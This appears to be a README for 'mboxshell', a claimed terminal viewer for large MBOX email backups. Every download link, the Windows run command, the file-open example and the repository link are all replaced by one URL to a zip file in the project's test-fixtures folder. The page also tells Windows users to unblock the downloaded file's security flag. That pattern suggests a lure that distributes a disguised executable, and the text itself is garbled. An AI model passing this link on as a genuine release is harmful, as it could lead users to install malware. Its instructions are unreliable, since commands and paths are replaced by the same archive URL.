mboxshell is a simple program that lets you open and read large MBOX email backup files right in your computer’s terminal. It works well with Gmail Takeout files that can get very big, even over 50GB. You don’t have to load the entire file into memory, so it runs quickly without slowing down your computer.
You can also search messages or export email contents without fuss. The program is built using Rust, which makes it fast and efficient. This tool is helpful if you keep backups of your emails or want to explore your email archives without opening a heavy app.
mboxshell works on Windows, macOS, and Linux computers. Here are the basic requirements:
- Operating System: Windows 10 or newer, macOS 10.15 or newer, or any major Linux distribution
- Processor: Intel or AMD, 64-bit
- RAM: At least 4 GB for smooth use; more helps with very large files
- Disk Space: Enough free space to store and open your MBOX files
- Terminal: Access to a command line interface (Command Prompt on Windows, Terminal on macOS/Linux)
Follow these steps to download, install, and start using mboxshell.
Click the blue Download Latest Release button at the top or visit the official release page here:
https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
On the release page, look for the file that matches your computer’s operating system:
- For Windows, it might be named something like
https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip - For macOS, look for
mboxshell-macos - For Linux, look for
mboxshell-linuxor similar
Download the right file to your computer.
After downloading, find the file in your Downloads folder or where you saved it.
-
On Windows, right-click the file and select Properties. Under the Security section, check Unblock if it appears, then click OK.
-
On macOS or Linux, you may need to make the file executable. Open Terminal and type:
chmod +x /path/to/mboxshellReplace
/path/to/mboxshellwith where you saved the file.
Open your terminal program:
- On Windows, search for Command Prompt in the Start menu.
- On macOS, open Terminal from Applications > Utilities.
- On Linux, open your terminal app from the menu.
Navigate to the folder where you saved mboxshell. For example, if you saved it in Downloads:
cd Downloads
Then, run the program by typing:
- On Windows:
https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
- On macOS/Linux:
./mboxshell
Once mboxshell opens, you can begin viewing your MBOX files. Here’s a simple guide:
To open a file, type:
open https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
Replace https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip with where your email backup file is located.
To look for specific emails, use the search command:
search "keyword"
For example, to find emails about “invoice” type:
search "invoice"
To save emails from the MBOX file, type:
export path/to/export/folder
This will save emails to the folder you specify.
You can download the latest version of mboxshell from the official release page:
https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
Make sure to select the correct version for your operating system. After downloading, follow the instructions in the "Getting Started" section above to prepare and run the application.
- If mboxshell does not start, check that you have the right permissions to run files on your system.
- Ensure you use the correct commands in the terminal. Commands are case sensitive.
- If you see errors opening large files, try closing other programs to free up memory.
- Refer to the release page or issues section on GitHub for updates or bug fixes.
- It handles very large MBOX files without slowing your computer.
- No complicated setup is needed.
- Useful for quickly searching and managing email archives.
- Runs in the terminal without a heavy user interface.
- Reviewing Gmail Takeout backups from your Google account.
- Exporting selected emails for backup or record keeping.
- Searching through old emails without loading in email clients.
- GitHub Releases: https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
- GitHub Repository: https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
attach, email, eml, gmail, mail, mbox, mbox-files, mbox-format, mbox-viewer, mboxviewer, rust, terminal